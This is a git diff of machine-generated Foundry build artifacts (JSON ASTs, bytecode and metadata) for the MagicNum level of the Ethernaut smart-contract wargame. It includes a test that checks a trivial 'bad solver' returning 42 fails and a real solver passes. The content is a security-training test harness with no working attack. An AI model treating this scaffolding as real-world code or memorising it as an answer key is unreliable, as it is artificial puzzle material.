Level"}},{"hexValue":"30","id":62483,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1357:1:138","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":62475,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1301:19:138","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":62484,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1301:58:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62474,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1293:8:138","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":62473,"name":"address","nodeType":"ElementaryTypeName","src":"1293:8:138","stateMutability":"payable","typeDescriptions":{}}},"id":62485,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1293:67:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62472,"name":"MagicNum","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53733,"src":"1284:8:138","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_MagicNum_$53733_$","typeString":"type(contract MagicNum)"}},"id":62486,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1284:77:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}},"src":"1273:88:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}},"id":62488,"nodeType":"ExpressionStatement","src":"1273:88:138"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":62489,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1371:2:138","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62491,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1374:9:138","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1371:12:138","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":62492,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1371:14:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62493,"nodeType":"ExpressionStatement","src":"1371:14:138"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"809:5:138","parameters":{"id":62394,"nodeType":"ParameterList","parameters":[],"src":"814:2:138"},"returnParameters":{"id":62395,"nodeType":"ParameterList","parameters":[],"src":"824:0:138"},"scope":62572,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":62533,"nodeType":"FunctionDefinition","src":"1644:248:138","nodes":[],"body":{"id":62532,"nodeType":"Block","src":"1671:221:138","nodes":[],"statements":[{"expression":{"arguments":[{"id":62502,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62393,"src":"1695:6:138","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62499,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1681:2:138","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62501,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1684:10:138","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1681:13:138","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62503,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1681:21:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62504,"nodeType":"ExpressionStatement","src":"1681:21:138"},{"assignments":[62507],"declarations":[{"constant":false,"id":62507,"mutability":"mutable","name":"badSolver","nameLocation":"1730:9:138","nodeType":"VariableDeclaration","scope":62532,"src":"1712:27:138","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumBadSolver_$49611","typeString":"contract MagicNumBadSolver"},"typeName":{"id":62506,"nodeType":"UserDefinedTypeName","pathNode":{"id":62505,"name":"MagicNumBadSolver","nameLocations":["1712:17:138"],"nodeType":"IdentifierPath","referencedDeclaration":49611,"src":"1712:17:138"},"referencedDeclaration":49611,"src":"1712:17:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumBadSolver_$49611","typeString":"contract MagicNumBadSolver"}},"visibility":"internal"}],"id":62512,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":62510,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1742:21:138","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_MagicNumBadSolver_$49611_$","typeString":"function () returns (contract MagicNumBadSolver)"},"typeName":{"id":62509,"nodeType":"UserDefinedTypeName","pathNode":{"id":62508,"name":"MagicNumBadSolver","nameLocations":["1746:17:138"],"nodeType":"IdentifierPath","referencedDeclaration":49611,"src":"1746:17:138"},"referencedDeclaration":49611,"src":"1746:17:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumBadSolver_$49611","typeString":"contract MagicNumBadSolver"}}},"id":62511,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1742:23:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumBadSolver_$49611","typeString":"contract MagicNumBadSolver"}},"nodeType":"VariableDeclarationStatement","src":"1712:53:138"},{"expression":{"arguments":[{"arguments":[{"id":62518,"name":"badSolver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62507,"src":"1802:9:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumBadSolver_$49611","typeString":"contract MagicNumBadSolver"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_MagicNumBadSolver_$49611","typeString":"contract MagicNumBadSolver"}],"id":62517,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1794:7:138","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62516,"name":"address","nodeType":"ElementaryTypeName","src":"1794:7:138","typeDescriptions":{}}},"id":62519,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1794:18:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":62513,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62389,"src":"1775:8:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}},"id":62515,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1784:9:138","memberName":"setSolver","nodeType":"MemberAccess","referencedDeclaration":53732,"src":"1775:18:138","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62520,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1775:38:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62521,"nodeType":"ExpressionStatement","src":"1775:38:138"},{"expression":{"arguments":[{"arguments":[{"id":62524,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62386,"src":"1855:9:138","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":62527,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62389,"src":"1874:8:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}],"id":62526,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1866:7:138","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62525,"name":"address","nodeType":"ElementaryTypeName","src":"1866:7:138","typeDescriptions":{}}},"id":62528,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1866:17:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":62523,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1835:19:138","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":62529,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1835:49:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":62522,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1823:11:138","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":62530,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1823:62:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62531,"nodeType":"ExpressionStatement","src":"1823:62:138"}]},"documentation":{"id":62496,"nodeType":"StructuredDocumentation","src":"1576:63:138","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1653:8:138","parameters":{"id":62497,"nodeType":"ParameterList","parameters":[],"src":"1661:2:138"},"returnParameters":{"id":62498,"nodeType":"ParameterList","parameters":[],"src":"1671:0:138"},"scope":62572,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":62571,"nodeType":"FunctionDefinition","src":"1947:237:138","nodes":[],"body":{"id":62570,"nodeType":"Block","src":"1975:209:138","nodes":[],"statements":[{"expression":{"arguments":[{"id":62540,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62393,"src":"1999:6:138","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62537,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1985:2:138","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62539,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1988:10:138","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1985:13:138","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62541,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1985:21:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62542,"nodeType":"ExpressionStatement","src":"1985:21:138"},{"assignments":[62545],"declarations":[{"constant":false,"id":62545,"mutability":"mutable","name":"solver","nameLocation":"2032:6:138","nodeType":"VariableDeclaration","scope":62570,"src":"2017:21:138","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumSolver_$49619","typeString":"contract MagicNumSolver"},"typeName":{"id":62544,"nodeType":"UserDefinedTypeName","pathNode":{"id":62543,"name":"MagicNumSolver","nameLocations":["2017:14:138"],"nodeType":"IdentifierPath","referencedDeclaration":49619,"src":"2017:14:138"},"referencedDeclaration":49619,"src":"2017:14:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumSolver_$49619","typeString":"contract MagicNumSolver"}},"visibility":"internal"}],"id":62550,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":62548,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"2041:18:138","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_MagicNumSolver_$49619_$","typeString":"function () returns (contract MagicNumSolver)"},"typeName":{"id":62547,"nodeType":"UserDefinedTypeName","pathNode":{"id":62546,"name":"MagicNumSolver","nameLocations":["2045:14:138"],"nodeType":"IdentifierPath","referencedDeclaration":49619,"src":"2045:14:138"},"referencedDeclaration":49619,"src":"2045:14:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumSolver_$49619","typeString":"contract MagicNumSolver"}}},"id":62549,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2041:20:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumSolver_$49619","typeString":"contract MagicNumSolver"}},"nodeType":"VariableDeclarationStatement","src":"2017:44:138"},{"expression":{"arguments":[{"arguments":[{"id":62556,"name":"solver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62545,"src":"2098:6:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumSolver_$49619","typeString":"contract MagicNumSolver"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_MagicNumSolver_$49619","typeString":"contract MagicNumSolver"}],"id":62555,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2090:7:138","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62554,"name":"address","nodeType":"ElementaryTypeName","src":"2090:7:138","typeDescriptions":{}}},"id":62557,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2090:15:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":62551,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62389,"src":"2071:8:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}},"id":62553,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2080:9:138","memberName":"setSolver","nodeType":"MemberAccess","referencedDeclaration":53732,"src":"2071:18:138","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62558,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2071:35:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62559,"nodeType":"ExpressionStatement","src":"2071:35:138"},{"expression":{"arguments":[{"arguments":[{"id":62562,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62386,"src":"2147:9:138","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":62565,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62389,"src":"2166:8:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}],"id":62564,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2158:7:138","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62563,"name":"address","nodeType":"ElementaryTypeName","src":"2158:7:138","typeDescriptions":{}}},"id":62566,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2158:17:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":62561,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2127:19:138","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":62567,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2127:49:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":62560,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2116:10:138","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":62568,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2116:61:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62569,"nodeType":"ExpressionStatement","src":"2116:61:138"}]},"documentation":{"id":62534,"nodeType":"StructuredDocumentation","src":"1898:44:138","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1956:9:138","parameters":{"id":62535,"nodeType":"ParameterList","parameters":[],"src":"1965:2:138"},"returnParameters":{"id":62536,"nodeType":"ParameterList","parameters":[],"src":"1975:0:138"},"scope":62572,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":62380,"name":"Test","nameLocations":["497:4:138"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"497:4:138"},"id":62381,"nodeType":"InheritanceSpecifier","src":"497:4:138"},{"baseName":{"id":62382,"name":"Utils","nameLocations":["503:5:138"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"503:5:138"},"id":62383,"nodeType":"InheritanceSpecifier","src":"503:5:138"}],"canonicalName":"TestMagicNum","contractDependencies":[49101,49611,49619,53814,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[62572,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestMagicNum","nameLocation":"481:12:138","scope":62573,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":138} \ No newline at end of file diff --git a/contracts/out/MagicNumBadSolver.sol/MagicNumBadSolver.json b/contracts/out/MagicNumBadSolver.sol/MagicNumBadSolver.json new file mode 100644 index 000000000..b3a4f4114 --- /dev/null +++ b/contracts/out/MagicNumBadSolver.sol/MagicNumBadSolver.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"whatIsTheMeaningOfLife","inputs":[],"outputs":[{"name":"","type":"bytes32","internalType":"bytes32"}],"stateMutability":"pure"}],"bytecode":{"object":"0x6080604052348015600e575f80fd5b5060908061001b5f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c8063650500c114602a575b5f80fd5b7c2a0000000000000000000000000000000000000000000000000000000060405190815260200160405180910390f3fea264697066735822122064bc454306f441fbb0a1245ec140541c2684670d75e2ff7da5056f5ffb2ab7cd64736f6c63430008180033","sourceMap":"58:141:50:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052348015600e575f80fd5b50600436106026575f3560e01c8063650500c114602a575b5f80fd5b7c2a0000000000000000000000000000000000000000000000000000000060405190815260200160405180910390f3fea264697066735822122064bc454306f441fbb0a1245ec140541c2684670d75e2ff7da5056f5ffb2ab7cd64736f6c63430008180033","sourceMap":"58:141:50:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;91:106;172:18;91:106;;160:25:155;;;148:2;133:18;91:106:50;;;;;;","linkReferences":{}},"methodIdentifiers":{"whatIsTheMeaningOfLife()":"650500c1"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"whatIsTheMeaningOfLife\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/MagicNumBadSolver.sol\":\"MagicNumBadSolver\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/MagicNumBadSolver.sol\":{\"keccak256\":\"0xb46415e9a27c0f63e5b0f5704b5d009e5e52ff2acf2451e2552c490c54957728\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://c1c560e7f46a9167d4bdb9e550d13713a5a5a9e9819630f9ce9de610d49633d8\",\"dweb:/ipfs/QmSHeGUYUNAtqxCKbCxw8BiJYesFZxvWg9zyZo9kLijpWM\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"pure","type":"function","name":"whatIsTheMeaningOfLife","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/MagicNumBadSolver.sol":"MagicNumBadSolver"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/MagicNumBadSolver.sol":{"keccak256":"0xb46415e9a27c0f63e5b0f5704b5d009e5e52ff2acf2451e2552c490c54957728","urls":["bzz-raw://c1c560e7f46a9167d4bdb9e550d13713a5a5a9e9819630f9ce9de610d49633d8","dweb:/ipfs/QmSHeGUYUNAtqxCKbCxw8BiJYesFZxvWg9zyZo9kLijpWM"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/MagicNumBadSolver.sol","id":49612,"exportedSymbols":{"MagicNumBadSolver":[49611]},"nodeType":"SourceUnit","src":"33:167:50","nodes":[{"id":49596,"nodeType":"PragmaDirective","src":"33:23:50","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49611,"nodeType":"ContractDefinition","src":"58:141:50","nodes":[{"id":49610,"nodeType":"FunctionDefinition","src":"91:106:50","nodes":[],"body":{"id":49609,"nodeType":"Block","src":"155:42:50","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"3432","id":49605,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"186:2:50","typeDescriptions":{"typeIdentifier":"t_rational_42_by_1","typeString":"int_const 42"},"value":"42"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_42_by_1","typeString":"int_const 42"}],"id":49604,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"179:6:50","typeDescriptions":{"typeIdentifier":"t_type$_t_uint32_$","typeString":"type(uint32)"},"typeName":{"id":49603,"name":"uint32","nodeType":"ElementaryTypeName","src":"179:6:50","typeDescriptions":{}}},"id":49606,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"179:10:50","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint32","typeString":"uint32"}],"id":49602,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"172:6:50","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes4_$","typeString":"type(bytes4)"},"typeName":{"id":49601,"name":"bytes4","nodeType":"ElementaryTypeName","src":"172:6:50","typeDescriptions":{}}},"id":49607,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"172:18:50","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"functionReturnParameters":49600,"id":49608,"nodeType":"Return","src":"165:25:50"}]},"functionSelector":"650500c1","implemented":true,"kind":"function","modifiers":[],"name":"whatIsTheMeaningOfLife","nameLocation":"100:22:50","parameters":{"id":49597,"nodeType":"ParameterList","parameters":[],"src":"122:2:50"},"returnParameters":{"id":49600,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49599,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49610,"src":"146:7:50","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":49598,"name":"bytes32","nodeType":"ElementaryTypeName","src":"146:7:50","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"145:9:50"},"scope":49611,"stateMutability":"pure","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"MagicNumBadSolver","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49611],"name":"MagicNumBadSolver","nameLocation":"67:17:50","scope":49612,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":50} \ No newline at end of file diff --git a/contracts/out/MagicNumFactory.sol/MagicNumFactory.json b/contracts/out/MagicNumFactory.sol/MagicNumFactory.json new file mode 100644 index 000000000..5d86cbe2f --- /dev/null +++ b/contracts/out/MagicNumFactory.sol/MagicNumFactory.json @@ -0,0 +1 @@ 